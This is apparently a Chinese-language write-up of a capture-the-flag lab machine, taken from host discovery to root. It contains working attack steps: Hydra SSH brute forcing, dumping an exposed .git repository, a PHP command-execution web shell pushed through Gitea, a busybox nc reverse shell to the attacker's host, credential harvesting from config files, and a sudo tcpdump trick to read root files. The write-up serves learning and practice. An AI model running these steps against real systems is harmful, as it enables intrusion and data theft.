一、信息收集
首先进行网络探测,发现靶机IP地址。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.168 08:00:27:e4:26:5d PCS Systemtechnik GmbH
...
确定目标IP为192.168.205.168,接下来进行端口扫描。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.168
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 15:14 GMT
Nmap scan report for 192.168.205.168
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
MAC Address: 08:00:27:E4:26:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
发现开放了22(SSH)、80(HTTP)、3000端口。
二、Web服务侦察
先查看80端口的Web服务,发现这是一个团队介绍页面。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.168
<!DOCTYPE html>
<html lang="zh-CN">
<head>
...
</head>
<body>
<div class="container">
<header>
<div class="logo">Maze<span>-Sec</span></div>
<p class="tagline">网络安全领域的精英团队,专注于渗透测试、漏洞研究与安全解决方案</p>
</header>
<div class="main-content">
<h2 class="section-title">关于我们</h2>
<p>Maze-Sec 是一支由网络安全专家组成的精英团队...</p>
<h2 class="section-title">团队成员</h2>
<div class="team-grid">
<div class="team-member">
<div class="member-name">HYH</div>
<div class="member-role">首席安全研究员</div>
</div>
<div class="team-member">
<div class="member-name">Ta0</div>
<div class="member-role">逆向工程专家</div>
</div>
<div class="team-member">
<div class="member-name">Todd</div>
<div class="member-role">安全开发工程师</div>
</div>
<div class="team-member">
<div class="member-name">Sublarge</div>
<div class="member-role">威胁情报分析师</div>
</div>
</div>
</div>
</div>
</body>
</html>
从页面中收集到几个潜在用户名:HYH、Ta0、Todd、Sublarge。同时启动Hydra对SSH进行暴力破解。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ hydra -L user -P 5000q.txt ssh://192.168.205.168 -f -I -u -e nsr -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak...
[DATA] attacking ssh://192.168.205.168:22/
三、目录爆破
对Web服务进行目录扫描,寻找隐藏的路径。
┌──(kali㉿kali)-[~]
└─$ dirsearch -q -u http://192.168.205.168
...
[15:20:35] 301 - 320B - http://192.168.205.168/backups -> http://192.168.205.168/backups/
[15:20:35] 200 - 407B - http://192.168.205.168/backups/
[15:20:36] 301 - 316B - http://192.168.205.168/dev -> http://192.168.205.168/dev/
[15:20:37] 301 - 317B - http://192.168.205.168/logs -> http://192.168.205.168/logs/
[15:20:37] 200 - 404B - http://192.168.205.168/logs/
[15:20:39] 301 - 319B - http://192.168.205.168/public -> http://192.168.205.168/public/
[15:20:39] 200 - 406B - http://192.168.205.168/public/
...
发现了几个目录:backups、logs、public、dev。其中backups、logs、public都是空的,继续对/dev目录进行深入扫描。
┌──(kali㉿kali)-[~]
└─$ dirsearch -q -u http://192.168.205.168/dev
...
[15:21:58] 301 - 321B - http://192.168.205.168/dev/.git -> http://192.168.205.168/dev/.git/
[15:21:58] 200 - 669B - http://192.168.205.168/dev/.git/
[15:21:58] 200 - 23B - http://192.168.205.168/dev/.git/HEAD
[15:21:58] 200 - 260B - http://192.168.205.168/dev/.git/config
...
[15:22:02] 200 - 529B - http://192.168.205.168/dev/config.txt
发现了一个Git仓库和配置文件!
四、Git信息泄露利用
使用git-dumper工具下载整个Git仓库。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ git-dumper http://192.168.205.168/dev/ .
Warning: Destination '.' is not empty
[-] Testing http://192.168.205.168/dev/.git/HEAD [200]
[-] Testing http://192.168.205.168/dev/.git/ [200]
[-] Fetching .git recursively
...
成功下载后查看文件内容:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ ls -la
总计 62
...
-rwxr-xr-x 1 kali kali 757 9月 7日 15:23 config.txt
drwxr-xr-x 1 kali kali 4096 9月 7日 15:23 .git
-rwxr-xr-x 1 kali kali 8707 9月 7日 15:23 index.html
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ cat config.txt
# Maze-Sec 项目配置
...
[database]
# 数据库配置(示例)
host = db.maze-sec.internal
port = 3306
name = maze_sec
user = gitea
password = xxoo123456
...
在配置文件中发现了重要信息:数据库用户名为gitea,密码为xxoo123456。尝试用这个凭据登录SSH失败。
五、Gitea服务利用
检查3000端口,发现运行着Gitea服务。使用获得的凭据gitea:xxoo123456成功登录Gitea。
在Gitea中发现仓库结构与/dev目录类似,怀疑存在自动同步机制。测试在Gitea中添加PHP文件:
添加测试文件phpinfo.php:
<?php
phpinfo();
?>
提交后访问/dev/phpinfo.php返回404。等待一段时间后发现有定时任务触发同步。
添加命令执行文件cmd.php:
<?php
exec($_GET["cmd"])
?>
提交变更后等待同步。当文件同步成功时,访问该文件会返回500状态码而非404。
六、获取Shell
通过cmd.php执行命令反弹shell:
# 触发反弹shell
http://192.168.205.168/dev/cmd.php?cmd=busybox%20nc%20192.168.205.128%208888%20-e%20/bin/bash
成功获得www-data权限的shell:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.168] 60904
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
七、权限提升
稳定shell后进行信息收集:
www-data@Team2:/var/www/html/dev$ sudo -l
[sudo] password for www-data:
sudo: a password is required
www-data@Team2:/var/www/html/dev$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
检查用户目录和文件权限:
www-data@Team2:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Sep 3 04:54 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
drwxr-xr-x 3 gitea gitea 4096 Sep 3 06:16 gitea
drwxr-xr-x 2 todd todd 4096 Sep 3 06:16 todd
www-data@Team2:/home/todd$ cat user.txt
flag{user-389c9909b8d6a701217a45104de7aa21}
获得用户flag。继续寻找权限提升路径:
www-data@Team2:/home/todd$ find / -user todd 2>/dev/null
...
/etc/todd
/etc/todd/config.txt
/etc/todd/.git
...
www-data@Team2:/etc/todd$ cat config.txt
root:root123
发现todd用户的配置文件,但root:root123的凭据无法直接使用。查找gitea相关文件:
www-data@Team2:/etc/todd$ cat /etc/gitea/app.ini
...
[database]
DB_TYPE = mysql
HOST = localhost:3306
NAME = gitea
USER = gitea
PASSWD = GiteaDBPass123!
;todd = todd123
...
在Gitea配置文件中发现注释:todd = todd123。尝试使用这个密码切换到todd用户:
www-data@Team2:/etc/todd$ su todd
Password: todd123
todd@Team2:/etc/todd$ id
uid=1000(todd) gid=1000(todd) groups=1000(todd)
成功切换到todd用户。
八、获取Root权限
检查todd用户的sudo权限:
todd@Team2:/etc/todd$ sudo -l
Matching Defaults entries for todd on Team2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User todd may run the following commands on Team2:
(ALL) NOPASSWD: /usr/bin/tcpdump
利用tcpdump的sudo权限获取root flag
tcpdump具有文件读取功能,可以通过-V参数尝试读取文件。当文件不存在时会显示文件内容作为错误信息:
todd@Team2:/etc/todd$ sudo -u root /usr/bin/tcpdump -V /root/root.txt
tcpdump: flag{root-39f5db9cc390378373b0828ce85caf85}: No such file or directory
成功获取root flag:flag{root-39f5db9cc390378373b0828ce85caf85}